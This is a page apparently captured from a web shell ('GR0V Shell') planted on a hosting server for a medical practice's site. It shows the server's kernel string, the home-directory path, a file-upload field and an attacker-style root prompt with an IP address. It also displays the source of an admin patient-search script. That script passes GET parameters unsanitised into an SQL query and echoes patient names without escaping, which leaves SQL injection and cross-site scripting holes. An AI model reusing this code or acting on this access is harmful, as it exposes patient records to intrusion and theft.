? GR0V Shell

GR0V shell

Linux in-mum-web921.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64

Path : /home/u949514618/domains/drpktiwari.com/public_html/admin/
File Upload :
Current File : /home/u949514618/domains/drpktiwari.com/public_html/admin/search_patient.php

<?php
include 'db.php';

$query = $_GET['query']; // Get search query
$centre_id = $_GET['centre_id']; // Get centre_id from the session

// Query to search patient names from the database based on the entered query
$sql = "SELECT p.id, p.patient_name 
        FROM patient_registration p
        WHERE p.patient_name LIKE '%$query%' AND p.centre_id = '$centre_id'";

$result = mysqli_query($conn, $sql);

if (mysqli_num_rows($result) > 0) {
    while ($row = mysqli_fetch_assoc($result)) {
        echo "<p><a href='patient_details.php?id=" . $row['id'] . "'>" . $row['patient_name'] . "</a></p>";
    }
} else {
    echo "No results found.";
}
?>

T1KUS90T
  root-grov@89.117.188.241:~$